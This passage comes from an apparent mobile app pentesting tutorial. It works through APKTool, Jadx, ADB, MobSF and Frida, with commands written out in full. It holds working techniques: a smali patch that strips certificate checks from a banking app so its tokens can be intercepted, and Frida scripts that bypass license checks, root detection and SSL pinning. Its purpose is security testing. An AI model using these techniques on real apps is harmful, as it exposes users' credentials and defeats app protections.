# Step 1: Decompile the target app apktool d banking_app.apk # Step 2: Navigate to decompiled code cd banking_app/smali/com/bankingapp/network/ # Step 3: Find the certificate pinning code # Look for files with "SSL", "Certificate", "Pinning" in names grep -r "SSL" . grep -r "Certificate" . # Step 4: Open the relevant smali file nano SSLPinningManager.smali # You'll see Smali code (looks like assembly language): # # .method public checkServerTrusted([Ljava/security/cert/X509Certificate;Ljava/lang/String;)V # .locals 2 # const/4 v0, 0x0 # invoke-static {}, Lcom/bankingapp/security/CertValidator;->verify()Z # move-result v0 # if-nez v0, :cond_0 # new-instance v1, Ljava/security/cert/CertificateException; # const-string v0, "Certificate validation failed" # invoke-direct {v1, v0}, Ljava/security/cert/CertificateException;->(Ljava/lang/String;)V # throw v1 # :cond_0 # return-void # .end method # Step 5: Modify the code to always return (bypass check) # Change: # invoke-static {}, Lcom/bankingapp/security/CertValidator;->verify()Z # move-result v0 # if-nez v0, :cond_0 # [throw exception code] # # To: # return-void # This makes the function immediately return without checking certificates! # Step 6: Save and rebuild apktool b banking_app # Step 7: Sign the modified APK jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA-256 -keystore ~/my-key.keystore banking_app/dist/banking_app.apk my_alias # Step 8: Install on device adb install banking_app/dist/banking_app.apk # Step 9: Set up Burp Suite proxy on your device # Now all HTTPS traffic from the app goes through Burp, and certificate errors are ignored! # Step 10: Intercept API calls # Open the banking app and watch Burp Suite capture all requests # You can now see authentication tokens, API endpoints, sensitive data!

💡 What Did We Just Do?

Think of SSL pinning like a bouncer checking IDs at a club. The app only trusts specific certificates (IDs), and rejects all others—even your Burp Suite proxy certificate.

By modifying the Smali code, we told the bouncer "just let everyone in without checking IDs." Now we can intercept all the HTTPS traffic between the app and the server!

This is a CRITICAL technique for mobile pentesting because modern apps use SSL to hide their API calls. Without bypassing SSL pinning, you can't see what data the app is sending!

Finding Hardcoded Secrets with APKTool

# After decompiling with APKTool: cd myapp/ # Search for API keys: grep -r "api" . | grep -i "key" grep -r "apikey" . grep -r "api_key" . # Output examples: # ./res/values/strings.xml:AIzaSyB1234567890_API_KEY_HERE # ./smali/com/example/api/Config.smali: const-string v0, "sk_live_51234567890" # Search for passwords: grep -r "password" . | grep -v ".png" | grep -v ".jpg" # (excluding image files) # Output: # ./res/values/strings.xml:admin123 # ./smali/com/example/auth/Login.smali: const-string v1, "hardcoded_password" # Search for database credentials: grep -r "jdbc" . grep -r "mysql" . grep -r "postgres" . # Search for AWS/cloud keys: grep -r "AKIA" . # AWS Access Key format grep -r "aws" . # Search for tokens: grep -r "token" . | grep -v ".png" grep -r "bearer" . grep -r "jwt" . # Check AndroidManifest.xml for suspicious permissions: cat AndroidManifest.xml | grep "permission" # Output: # # # ← Why does this app need contacts? # # ← Spyware?

Smali vs Java: What's the Difference?

Java: High-level language developers write in
DEX: Compiled format Android uses (Dalvik Executable)
Smali: Human-readable representation of DEX bytecode

Think of it like this:
• Java: "if (password == 'admin') { login(); }"
• Smali: "const-string v0, 'admin' / if-eq v0, v1, :cond_0 / invoke-virtual {p0}, login"

Smali is harder to read but still understandable with practice. APKTool outputs Smali because you can't directly get Java from DEX. For Java-like code, use Jadx (next tool!)

Part 2: Jadx - Java Decompiler for Android

Jadx takes APK files and decompiles them directly into Java code—much easier to read than Smali! It has both GUI and command-line modes.

# Install Jadx (comes with Kali, but here's manual install): wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip unzip jadx-1.4.7.zip -d jadx cd jadx/bin ./jadx-gui # Launch GUI version # Or use command-line: ./jadx myapp.apk

Jadx GUI - The Easy Way

# Launch Jadx GUI: jadx-gui # In the GUI: # 1. File → Open File → Select myapp.apk # 2. Wait for decompilation (can take 1-5 minutes for large apps) # 3. Browse the code in the left panel # 4. Click any class to see Java code! # Features: # ✅ Full-text search (Ctrl+Shift+F) # ✅ Find usages of any method/class # ✅ Jump to declaration (Ctrl+B) # ✅ Export to Gradle project # ✅ Deobfuscation (unscramble obfuscated code)

💡 APKTool vs Jadx: When to Use What?

Use APKTool when:
• You need to MODIFY and RECOMPILE the app
• You want to see the exact Smali code (closer to actual bytecode)
• You need to edit resources (strings.xml, layouts)

Use Jadx when:
• You just want to READ the code (not modify)
• You prefer Java over Smali (much more readable!)
• You're searching for specific vulnerabilities in logic

Pro tip: Use BOTH! Decompile with Jadx to understand the code, then use APKTool to make modifications!

Jadx Command-Line Flags (Complete Reference)

# Basic decompile: jadx myapp.apk # Creates folder: myapp/ # Inside: sources/ (Java code) and resources/ (XML, images, etc.) # -d, --output-dir # Specify output directory jadx -d output_folder myapp.apk # -j, --threads-count # Number of threads for decompilation (faster!) jadx -j 8 myapp.apk # Uses 8 CPU cores (default is 4) # Large apps benefit hugely from this! # --no-res # Do NOT decompile resources (skip resources folder) jadx --no-res myapp.apk # Faster if you only care about code # --no-src # Do NOT decompile source code (only extract resources) jadx --no-src myapp.apk # Opposite of --no-res # --show-bad-code # Include code that failed to decompile (usually obfuscated junk) jadx --show-bad-code myapp.apk # Normally Jadx skips methods it can't decompile # This flag shows them anyway (as comments) # --no-imports # Don't add import statements (shows full class names everywhere) jadx --no-imports myapp.apk # Makes code longer but more explicit # --no-debug-info # Strip debug information jadx --no-debug-info myapp.apk # --add-debug-lines # Add comments with original line numbers jadx --add-debug-lines myapp.apk # --no-inline-anonymous # Don't inline anonymous classes jadx --no-inline-anonymous myapp.apk # --no-replace-consts # Don't replace constants with actual values jadx --no-replace-consts myapp.apk # Example: Shows "0x7F0A0001" instead of "R.id.button" # --escape-unicode # Escape non-ASCII characters in strings jadx --escape-unicode myapp.apk # --deobf # Enable deobfuscation (unscramble obfuscated names) jadx --deobf myapp.apk # Changes: # class a { void b() { ... } } # To: # class MainActivity { void onCreate() { ... } } # --deobf-min # Minimum length for deobfuscated names (default: 3) jadx --deobf --deobf-min 4 myapp.apk # --deobf-max # Maximum length for deobfuscated names (default: 64) jadx --deobf --deobf-max 20 myapp.apk # --deobf-cfg-file # Custom deobfuscation map jadx --deobf --deobf-cfg-file mapping.txt myapp.apk # --deobf-use-sourcename # Use source file names for class naming jadx --deobf --deobf-use-sourcename myapp.apk # --deobf-parse-kotlin-metadata # Use Kotlin metadata for deobfuscation jadx --deobf --deobf-parse-kotlin-metadata myapp.apk # --export-gradle # Export as Android Studio project with gradle jadx --export-gradle myapp.apk # Creates buildable Android Studio project! # -v, --verbose # Verbose output (show progress details) jadx -v myapp.apk # --version # Show Jadx version jadx --version

Finding Security Issues with Jadx

# After decompiling with Jadx: cd myapp/sources/com/example/app/ # 1. Find hardcoded credentials: grep -r "password" . | grep -v ".png" # Output: # ./auth/LoginActivity.java: private static final String PASSWORD = "admin123"; # Open the file: cat auth/LoginActivity.java # You see: # public class LoginActivity { # private static final String DEFAULT_USER = "admin"; # private static final String DEFAULT_PASSWORD = "admin123"; # # private void doLogin(String username, String password) { # if (username.equals(DEFAULT_USER) && password.equals(DEFAULT_PASSWORD)) { # // Hardcoded backdoor! # } # } # } # 2. Find SQL injection vulnerabilities: grep -r "execSQL" . grep -r "rawQuery" . grep -r "query(" . # Look for string concatenation instead of prepared statements: # ❌ BAD (vulnerable): # String query = "SELECT * FROM users WHERE username='" + username + "'"; # db.rawQuery(query, null); # # ✅ GOOD (safe): # String query = "SELECT * FROM users WHERE username=?"; # db.rawQuery(query, new String[]{username}); # 3. Find insecure file storage: grep -r "openFileOutput" . grep -r "getExternalStorageDirectory" . grep -r "MODE_WORLD_READABLE" . # MODE_WORLD_READABLE = any app can read this file! (deprecated but still found) # 4. Find insecure crypto: grep -r "DES" . # Weak encryption grep -r "MD5" . # Weak hashing grep -r "SHA1" . # Weak hashing # Look for: # Cipher cipher = Cipher.getInstance("DES"); ← BAD! Use AES! # MessageDigest md = MessageDigest.getInstance("MD5"); ← BAD! Use SHA-256! # 5. Find API endpoints: grep -r "http://" . grep -r "https://" . grep -r "api" . | grep -i "url" # Output: # ./network/ApiClient.java: private static final String BASE_URL = "https://api.example.com"; # ./network/ApiClient.java: private static final String AUTH_ENDPOINT = "/auth/login"; # Now you know the API structure! # 6. Find debugging code that shouldn't be in production: grep -r "Log.d" . grep -r "Log.v" . grep -r "System.out.println" . # Example: # ./auth/LoginActivity.java: Log.d("AUTH", "Password: " + password); # ↑ Logs user passwords! Major security issue! # 7. Find WebView vulnerabilities: grep -r "WebView" . grep -r "setJavaScriptEnabled" . grep -r "addJavascriptInterface" . # Look for: # webView.setJavaScriptEnabled(true); ← Needed for web apps # webView.addJavascriptInterface(new JsInterface(), "Android"); # ↑ Allows JavaScript to call Java methods! Can be exploited! # 8. Find intent vulnerabilities (exported components): cd ../../ # Back to root grep -r "exported=\"true\"" . # Shows which components are accessible by other apps # Could be exploited for privilege escalation!

Common Vulnerabilities Found via Jadx

Hardcoded Secrets: API keys, passwords, tokens directly in code
Insecure Crypto: DES, MD5, SHA1, hardcoded encryption keys
SQL Injection: String concatenation in database queries
Path Traversal: User input directly in file paths
Insecure Data Storage: Sensitive data in SharedPreferences, external storage
Weak Authentication: Client-side validation, hardcoded credentials
Information Disclosure: Logging sensitive data, debug code in production
WebView Exploits: JavaScript interfaces, allowFileAccess enabled

Pro tip: Always check ProGuard/R8 obfuscation. If code looks scrambled (class names like 'a', 'b', 'c'), use --deobf flag!

Part 3: ADB - Android Debug Bridge Master Class

ADB (Android Debug Bridge) is your command-line interface to Android devices. It lets you install apps, access the shell, pull/push files, view logs, and much more. Essential for dynamic analysis!

# Check if ADB is installed: adb version # Output: # Android Debug Bridge version 1.0.41 # Version 34.0.5-10900879 # Start ADB server (run once after boot): adb start-server # Output: # * daemon not running; starting now at tcp:5037 # * daemon started successfully # List connected devices: adb devices # Output: # List of devices attached # emulator-5554 device # R58M12345678 device # # Shows emulators and physical devices # "device" means ready for commands # If you see "unauthorized", accept the popup on your phone!

ADB Essential Commands (Complete Reference)

# ==================== DEVICE MANAGEMENT ==================== # adb devices # List all connected devices adb devices # adb devices -l # List devices with details (model, product, transport) adb devices -l # Output: # emulator-5554 device product:sdk_gphone64_arm64 model:sdk_gphone64_arm64 device:emu64a transport_id:1 # adb connect : # Connect to device over network (WiFi ADB) adb connect 192.168.1.100:5555 # adb disconnect # Disconnect all network devices adb disconnect # adb -s # Run command on specific device (when multiple devices connected) adb -s emulator-5554 shell # adb kill-server # Stop ADB server adb kill-server # adb start-server # Start ADB server adb start-server # ==================== APP INSTALLATION ==================== # adb install # Install APK to device adb install myapp.apk # Output: # Performing Streamed Install # Success # adb install -r # Reinstall existing app (keeps data) adb install -r myapp.apk # adb install -g # Install and grant all permissions adb install -g myapp.apk # adb install -d # Allow version downgrade adb install -d myapp_v1.0.apk # adb install -t # Allow test APKs adb install -t debug.apk # adb uninstall # Uninstall app adb uninstall com.example.myapp # adb uninstall -k # Uninstall but keep data adb uninstall -k com.example.myapp # ==================== FILE TRANSFER ==================== # adb push # Copy file from computer to device adb push payload.txt /sdcard/Download/ # adb push directory/ # Copy entire directory adb push tools/ /sdcard/tools/ # adb pull # Copy file from device to computer adb pull /sdcard/DCIM/Camera/photo.jpg ./ # adb pull /data/data/com.example.app/databases/ ./databases/ # Pull app's databases (requires root!) # ==================== SHELL ACCESS ==================== # adb shell # Open interactive shell on device adb shell # Now you're inside Android! You can run Linux commands: # ls /sdcard/ # cd /data/app/ # ps -A (list all processes) # exit (leave shell) # adb shell # Run single command without interactive shell adb shell ls -la /sdcard/ # adb shell 'command1; command2' # Run multiple commands adb shell 'cd /sdcard/ && ls' # adb root # Restart ADB daemon with root permissions (rooted devices only) adb root # Output: # restarting adbd as root # adb unroot # Restart ADB daemon without root adb unroot # ==================== PACKAGE MANAGER (pm) ==================== # adb shell pm list packages # List ALL installed packages adb shell pm list packages # Output (partial): # package:com.android.camera # package:com.example.myapp # package:com.whatsapp # [hundreds more...] # adb shell pm list packages -f # List packages with APK file paths adb shell pm list packages -f # Output: # package:/data/app/com.example.myapp-xyz=/com.example.myapp # adb shell pm list packages -3 # List only third-party apps (not system apps) adb shell pm list packages -3 # adb shell pm list packages # Filter packages by keyword adb shell pm list packages | grep bank # Output: # package:com.bankofamerica.mobile # package:com.chase.banking # adb shell pm path # Show APK path for package adb shell pm path com.example.myapp # Output: # package:/data/app/com.example.myapp-ABC123/base.apk # adb shell pm dump # Show EVERYTHING about a package adb shell pm dump com.example.myapp # Output: # Package [com.example.myapp] (12a34b56): # userId=10123 # pkg=Package{...} # codePath=/data/app/com.example.myapp-ABC123 # resourcePath=/data/app/com.example.myapp-ABC123 # legacyNativeLibraryDir=/data/app/com.example.myapp-ABC123/lib # primaryCpuAbi=arm64-v8a # versionCode=100 minSdk=21 targetSdk=33 # versionName=1.0.0 # [... TONS more info ...] # adb shell pm grant # Grant permission to app adb shell pm grant com.example.myapp android.permission.CAMERA # adb shell pm revoke # Revoke permission from app adb shell pm revoke com.example.myapp android.permission.CAMERA # adb shell pm clear # Clear app data (like "Clear Cache" in settings) adb shell pm clear com.example.myapp # Output: # Success # ==================== ACTIVITY MANAGER (am) ==================== # adb shell am start # Launch an app/activity adb shell am start -n com.example.myapp/.MainActivity # -n = component name (package/activity) # Output: # Starting: Intent { cmp=com.example.myapp/.MainActivity } # adb shell am start -a # Start activity with action adb shell am start -a android.intent.action.VIEW -d https://example.com # Opens URL in default browser # adb shell am startservice # Start a service adb shell am startservice -n com.example.myapp/.MyService # adb shell am broadcast # Send broadcast adb shell am broadcast -a android.intent.action.BOOT_COMPLETED # Simulates device boot # adb shell am force-stop # Force-stop an app adb shell am force-stop com.example.myapp # adb shell am kill # Kill app (less aggressive than force-stop) adb shell am kill com.example.myapp # ==================== LOGS ==================== # adb logcat # View system logs in real-time adb logcat # Output (scrolls continuously): # 01-07 14:30:45.123 1234 5678 I ActivityManager: Start proc 9999:com.example.myapp # 01-07 14:30:45.456 9999 9999 D MyApp: User logged in: user@example.com # 01-07 14:30:45.789 9999 9999 E MyApp: Error: java.lang.NullPointerException # [... continuous stream ...] # adb logcat -c # Clear the log buffer adb logcat -c # adb logcat :V # Filter by tag (V=Verbose, show everything for this tag) adb logcat MyApp:V *:S # *:S = silence all other tags # Shows only logs from "MyApp" tag # adb logcat *:E # Show only ERROR level logs adb logcat *:E # adb logcat | grep "password" # Search logs for keyword adb logcat | grep -i "password" # Dangerous if app logs passwords! # adb logcat -v time # Add timestamps to logs adb logcat -v time # adb logcat -d # Dump logs and exit (don't follow) adb logcat -d > logs.txt # Saves logs to file # ==================== SYSTEM INFORMATION ==================== # adb shell dumpsys # Dump system services info (HUGE output!) adb shell dumpsys # adb shell dumpsys battery # Show battery info adb shell dumpsys battery # Output: # Current Battery Service state: # AC powered: false # USB powered: true # level: 85 # temperature: 280 # voltage: 4235 # adb shell dumpsys package # Show package details (like pm dump but different format) adb shell dumpsys package com.example.myapp # adb shell dumpsys activity # Show activity stack (what apps are running) adb shell dumpsys activity # adb shell dumpsys meminfo # Show memory usage adb shell dumpsys meminfo com.example.myapp # Output: # Applications Memory Usage (in Kilobytes): # Uptime: 123456 Realtime: 123456 # # ** MEMINFO in pid 12345 [com.example.myapp] ** # Pss Private Shared # Native Heap 10000 9000 1000 # Dalvik Heap 20000 19000 1000 # [...] # TOTAL 50000 45000 5000 # adb shell dumpsys window # Show window manager state adb shell dumpsys window # adb shell dumpsys connectivity # Show network connectivity info adb shell dumpsys connectivity # ==================== SCREENSHOTS & RECORDINGS ==================== # adb shell screencap /sdcard/screen.png # Take screenshot adb shell screencap /sdcard/screen.png adb pull /sdcard/screen.png ./ # adb shell screenrecord /sdcard/demo.mp4 # Record screen video adb shell screenrecord /sdcard/demo.mp4 # Press Ctrl+C to stop recording # Then: adb pull /sdcard/demo.mp4 ./ # adb shell screenrecord --time-limit # Record for specific duration adb shell screenrecord --time-limit 30 /sdcard/demo.mp4 # Records for 30 seconds then stops # ==================== NETWORKING ==================== # adb shell netstat # Show network connections adb shell netstat # adb shell ip addr # Show IP addresses adb shell ip addr # adb shell ping # Ping a host adb shell ping google.com # adb shell tcpdump -w /sdcard/capture.pcap # Capture network traffic (requires tcpdump on device) adb shell tcpdump -w /sdcard/capture.pcap # Then: adb pull /sdcard/capture.pcap ./ # ==================== ADVANCED / PENTESTING ==================== # adb shell run-as # Run commands as the app's user (access app's private data) adb shell # Inside shell: run-as com.example.myapp cd /data/data/com.example.myapp/databases/ ls -la # Output: # -rw------- 1 u0_a123 u0_a123 12345 2026-01-07 14:30 userdata.db # Now you can read the app's database! # adb backup # Backup app data adb backup -f backup.ab com.example.myapp # Creates backup.ab file # To extract: # dd if=backup.ab bs=1 skip=24 | openssl zlib -d | tar -xvf - # adb restore # Restore app data adb restore backup.ab # adb shell cat /proc/net/tcp # Show TCP connections (hexadecimal format) adb shell cat /proc/net/tcp # adb shell su # Switch to root user (rooted devices only) adb shell su # Now you have root shell (#) # Can access /data/data/ directories of all apps! # adb forward tcp: tcp: # Port forwarding (access device services from computer) adb forward tcp:8080 tcp:8080 # Now accessing localhost:8080 on your computer connects to device's port 8080!

💡 ADB is Your Remote Control for Android

Think of ADB like a universal remote for Android devices:

• Install/uninstall apps: Like a software store manager
• Transfer files: Like a USB cable on steroids
• View logs: Like reading the device's diary
• Shell access: Like having a terminal inside the phone
• Package manager: Like Android's app inventory system
• Activity manager: Like the phone's task manager

For pentesters, ADB is ESSENTIAL for dynamic analysis. You use it to:
1. Install modified APKs
2. Pull app databases and config files
3. Monitor logs for sensitive data leakage
4. Access app's private directory (with run-as or root)
5. Intercept network traffic

Master ADB = Master mobile pentesting!

Part 4: MobSF - Mobile Security Framework

MobSF is an automated mobile app security testing framework. It combines static analysis, dynamic analysis, and security report generation into ONE powerful tool with a web interface!

# Install MobSF (Docker method - easiest): docker pull opensecurity/mobile-security-framework-mobsf # Run MobSF: docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest # Output: # [INFO] MobSF is running on http://0.0.0.0:8000 # # Open browser: http://localhost:8000 # Manual install (alternative): git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git cd Mobile-Security-Framework-MobSF ./setup.sh ./run.sh # Web interface opens at http://127.0.0.1:8000

Using MobSF for Static Analysis

# Step 1: Open MobSF web interface (http://localhost:8000) # Step 2: Upload APK # - Click "Upload" button # - Select your APK file # - Wait for analysis (1-3 minutes) # Step 3: View Security Report # MobSF automatically analyzes: # ✅ AndroidManifest.xml (permissions, components, attack surface) # ✅ Decompiled code (hardcoded secrets, crypto issues, vulnerabilities) # ✅ Binary analysis (native libraries) # ✅ Network security (SSL pinning, cleartext traffic) # ✅ OWASP Mobile Top 10 compliance # ✅ Security score (0-100) # Report sections: # - File Info: App name, package, version, size, hashes # - App Permissions: Dangerous permissions highlighted # - Manifest Analysis: Exported components, debuggable flag # - Code Analysis: Hardcoded secrets, insecure crypto, SQL injection # - Binary Analysis: Native code security # - File Analysis: Interesting files in APK # - Certificate Info: Signing certificate details # - Network Security: SSL/TLS configuration # Step 4: Download Report # Click "PDF Report" to get professional security assessment document!

MobSF Dynamic Analysis

# Dynamic analysis requires running the app in an emulator/device # Step 1: Set up Android emulator with MobSF support # (Use Genymotion or Android Studio AVD with Google APIs) # Step 2: Connect emulator to MobSF # In MobSF web interface: # - Click "Dynamic Analyzer" # - Select your device/emulator # - Click "Start Dynamic Analysis" # Step 3: MobSF automatically: # ✅ Installs the app # ✅ Sets up proxy to intercept traffic # ✅ Hooks into the app with Frida # ✅ Monitors API calls, file operations, network requests # Step 4: Use the app normally # - Login, browse, perform actions # - MobSF captures everything in background # Step 5: View Dynamic Analysis Results # - API Endpoints Discovered # - Captured Network Traffic (HTTP/HTTPS) # - Sensitive Data in Transit # - Insecure Data Storage # - Runtime Permissions Used # - Screenshots of Each Activity

MobSF Security Checks (What It Looks For)

High Risk Issues:
• Hardcoded API keys, tokens, passwords
• Debuggable flag enabled in AndroidManifest
• Backup flag enabled (allows adb backup)
• Weak cryptographic algorithms (DES, MD5)
• SQL injection vulnerabilities
• Command injection vulnerabilities
• Insecure random number generation
• Certificate pinning bypass methods

Medium Risk Issues:
• Exported activities/services without permissions
• Cleartext traffic allowed
• Insufficient SSL/TLS validation
• Insecure file permissions
• Logging sensitive information

Low Risk Issues:
• Obfuscation not enabled
• Tapjacking vulnerabilities
• Screenshot allowed on sensitive screens

MobSF maps findings to:
• OWASP Mobile Top 10
• CWE (Common Weakness Enumeration)
• CVSS scores

Interpreting MobSF Results

# Example MobSF findings: # 🔴 HIGH: Hardcoded Secrets Found # File: com/example/app/api/ApiClient.java # Line: 15 # Code: private static final String API_KEY = "sk_live_1234567890"; # # Severity: HIGH # CWE: CWE-798 (Use of Hard-coded Credentials) # OWASP: M9 - Reverse Engineering # # Impact: API key exposed, attackers can access backend services # Recommendation: Store keys in secure keystore, never in code # 🔴 HIGH: App is Debuggable # File: AndroidManifest.xml # Line: 8 # Code: android:debuggable="true" # # Severity: HIGH # CWE: CWE-215 (Information Exposure Through Debug Information) # OWASP: M7 - Client Code Quality # # Impact: App can be debugged with tools like Android Studio, allowing real-time code inspection # Recommendation: Set android:debuggable="false" for production builds # 🟡 MEDIUM: Exported Activity without Permission # File: AndroidManifest.xml # Component: com.example.app.SecretActivity # Code: android:exported="true" # # Severity: MEDIUM # CWE: CWE-927 (Use of Implicit Intent for Sensitive Communication) # OWASP: M1 - Improper Platform Usage # # Impact: Other apps can launch this activity, potentially accessing sensitive functions # Recommendation: Add permission check or set exported="false" # 🟡 MEDIUM: Weak Cryptography - DES # File: com/example/app/crypto/Encryption.java # Line: 42 # Code: Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding"); # # Severity: MEDIUM # CWE: CWE-327 (Use of a Broken or Risky Cryptographic Algorithm) # OWASP: M5 - Insufficient Cryptography # # Impact: DES is easily brute-forced (56-bit key) # Recommendation: Use AES-256 instead # Overall Security Score: 45/100 (HIGH RISK)

⚠️ MobSF Limitations

MobSF is AMAZING but not perfect:

False Positives: Some flagged issues may be intentional or not exploitable in context
Obfuscation Blind Spots: Heavily obfuscated code may hide vulnerabilities
Logic Flaws: Can't detect business logic issues (like "forgot password" bypass)
Dynamic Analysis Requires Manual Testing: You still need to test all app features manually

Best practice: Use MobSF as a starting point, then manually verify findings and test edge cases!

Part 5: Frida - Dynamic Instrumentation Framework

Frida is a powerful dynamic instrumentation toolkit that lets you inject JavaScript into running processes on Android, iOS, Windows, Mac, and Linux. For mobile pentesting, it's your magic wand for bypassing security checks, hooking functions, and manipulating app behavior in real-time!

💡 Frida = X-Ray Vision + Time Control for Apps

Imagine an app is a locked mansion with guards and security systems. Traditional static analysis (APKTool, Jadx) lets you study the blueprints after the fact. But Frida lets you:

• See through walls: Monitor what's happening inside while the app runs
• Freeze time: Intercept function calls before they execute
• Rewrite reality: Change function parameters, return values, even entire behaviors
• Read minds: Log private data being processed in memory

With Frida, you can bypass root detection, SSL pinning, jailbreak checks, license validation—all without modifying the APK!

Installing Frida

# Install Frida on your Kali machine: pip3 install frida-tools # Verify installation: frida --version # Output: # 16.2.1 # Download frida-server for your Android device # Check your device architecture first: adb shell getprop ro.product.cpu.abi # Output examples: # arm64-v8a ← 64-bit ARM (most modern phones) # armeabi-v7a ← 32-bit ARM (older phones) # x86_64 ← 64-bit Intel (emulators) # Download matching frida-server from: # https://github.com/frida/frida/releases # Example for arm64-v8a: wget https://github.com/frida/frida/releases/download/16.2.1/frida-server-16.2.1-android-arm64.xz unxz frida-server-16.2.1-android-arm64.xz mv frida-server-16.2.1-android-arm64 frida-server # Push to device: adb push frida-server /data/local/tmp/ # Make executable: adb shell "chmod 755 /data/local/tmp/frida-server" # Run frida-server on device (requires root!): adb shell "su -c /data/local/tmp/frida-server &" # Or for non-root testing with specific apps: adb shell "/data/local/tmp/frida-server"

⚠️ Frida Requires Root for Most Features

To hook into arbitrary apps, your device needs root access. Alternatives:

Option 1: Rooted physical device (Magisk, SuperSU)
Option 2: Rooted emulator (Genymotion, Android Studio AVD with Google APIs)
Option 3: Frida Gadget (inject Frida into the APK itself - no root needed but requires repackaging)

For learning, use a rooted emulator like Genymotion!

Frida Basics - Your First Hook

# List all running processes: frida-ps -U # -U = USB device (or emulator) # Output: # PID Name # ---- ------------------------------ # 1234 com.android.systemui # 5678 com.example.targetapp # 9012 com.google.android.gms # [... more processes ...] # List only apps (not system processes): frida-ps -Ua # Output: # PID Name Identifier # ---- --------------------------- -------------------------- # 5678 Target App com.example.targetapp # 9876 Banking App com.bankingapp.mobile # Attach to a running app: frida -U -n "Target App" # -U = USB device # -n = process name # # Opens interactive Frida REPL (Read-Eval-Print Loop) # Or attach by package name: frida -U -f com.example.targetapp # -f = spawn (launch the app with Frida attached from start) # Or attach by PID: frida -U 5678

Writing Frida Scripts - JavaScript Hooking

Frida uses JavaScript to interact with the target app. Here's the anatomy of a Frida script:

# Create a simple hook script: hook_example.js Java.perform(function() { // Java.perform() ensures we're inside the Java runtime // 1. Get reference to the class you want to hook var MainActivity = Java.use('com.example.app.MainActivity'); // 2. Hook a method MainActivity.checkLicense.implementation = function() { // This replaces the original checkLicense() method console.log('[*] checkLicense() called!'); console.log('[*] Original would check license, but we\'re bypassing...'); // Return true (license valid) regardless of actual check return true; }; console.log('[+] License check bypassed!'); }); # Run the script: frida -U -f com.example.app -l hook_example.js --no-pause # Output: # [+] License check bypassed! # [*] checkLicense() called! # [*] Original would check license, but we're bypassing... # # The app now thinks it has a valid license!

Bypassing Root Detection with Frida

# Many apps detect root and refuse to run # Common checks: su binary exists, Magisk/SuperSU installed, test-keys build # Create bypass_root_detection.js: Java.perform(function() { console.log('[*] Root detection bypass started'); // Method 1: Hook common root detection method var RootCheck = Java.use('com.example.app.security.RootDetector'); RootCheck.isDeviceRooted.implementation = function() { console.log('[*] isDeviceRooted() called - returning false'); return false; // Always return false (not rooted) }; // Method 2: Hook File.exists() to hide su binary var File = Java.use('java.io.File'); File.exists.implementation = function() { var path = this.getAbsolutePath(); // List of paths that indicate root var rootPaths = [ '/system/app/Superuser.apk', '/system/bin/su', '/system/xbin/su', '/data/local/xbin/su', '/sbin/su', '/system/sd/xbin/su', '/system/bin/failsafe/su', '/data/local/su' ]; // If checking for root files, return false if (rootPaths.indexOf(path) !== -1) { console.log('[*] File.exists("' + path + '") intercepted - returning false'); return false; } // Otherwise, call original method return this.exists.call(this); }; // Method 3: Hook Runtime.exec() to prevent 'su' command execution var Runtime = Java.use('java.lang.Runtime'); Runtime.exec.overload('java.lang.String').implementation = function(cmd) { if (cmd.indexOf('su') !== -1) { console.log('[*] Runtime.exec("' + cmd + '") intercepted - preventing execution'); throw new Error('Command not found'); } return this.exec.call(this, cmd); }; // Method 4: Hook Build.TAGS to hide test-keys var Build = Java.use('android.os.Build'); Build.TAGS.value = 'release-keys'; // Change from 'test-keys' to 'release-keys' console.log('[*] Build.TAGS changed to: ' + Build.TAGS.value); console.log('[+] Root detection fully bypassed!'); }); # Run it: frida -U -f com.example.app -l bypass_root_detection.js --no-pause # The app now runs on rooted device without detecting root!

Bypassing SSL Pinning with Frida

SSL pinning prevents Man-in-the-Middle attacks by only trusting specific certificates. But for pentesting, we WANT to intercept traffic with Burp Suite! Here's how to bypass it:

# Create bypass_ssl_pinning.js: Java.perform(function() { console.log('[*] SSL Pinning bypass started'); // Method 1: Hook TrustManager (most common SSL implementation) var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); var SSLContext = Java.use('javax.net.ssl.SSLContext'); // Create a custom TrustManager that trusts all certificates var TrustManager = Java.registerClass({ name: 'com.frida.TrustManager', implements: [X509TrustManager], methods: { checkClientTrusted: function(chain, authType) { console.log('[*] checkClientTrusted called - trusting all'); }, checkServerTrusted: function(chain, authType) { console.log('[*] checkServerTrusted called - trusting all'); }, getAcceptedIssuers: function() { console.log('[*] getAcceptedIssuers called - returning empty'); return []; } } }); // Replace SSLContext's TrustManager with our custom one var TrustManagers = [TrustManager.$new()]; SSLContext.init.overload('[Ljavax.net.ssl.KeyManager;', '[Ljavax.net.ssl.TrustManager;', 'java.security.SecureRandom').implementation = function(keyManager, trustManager, secureRandom) { console.log('[*] SSLContext.init() called - replacing TrustManager'); this.init.call(this, keyManager, TrustManagers, secureRandom); }; // Method 2: Hook OkHttp (popular HTTP library) try { var OkHttpClient = Java.use('okhttp3.OkHttpClient'); var Builder = Java.use('okhttp3.OkHttpClient$Builder'); Builder.certificatePinner.implementation = function(certificatePinner) { console.log('[*] OkHttp certificatePinner() called - disabling pinning'); return this; // Return builder without pinning }; console.log('[+] OkHttp SSL pinning bypassed'); } catch(err) { console.log('[-] OkHttp not found (app might not use it)'); } // Method 3: Hook specific app's SSL verification // (You need to find the exact class/method via Jadx) try { var CustomPinning = Java.use('com.example.app.network.CertificatePinner'); CustomPinning.check.implementation = function() { console.log('[*] Custom certificate check bypassed'); return true; // Always pass verification }; } catch(err) { // App doesn't have custom pinning class } console.log('[+] SSL Pinning fully bypassed - use Burp Suite!'); }); # Run with the app: frida -U -f com.example.app -l bypass_ssl_pinning.js --no-pause # Configure Burp Suite proxy on your device: # Settings → WiFi → Long-press network → Modify → Proxy: Manual # Proxy hostname: 192.168.1.100 (your Kali IP) # Proxy port: 8080 # Now all HTTPS traffic flows through Burp Suite with no certificate errors!

Logging Function Arguments and Return Values

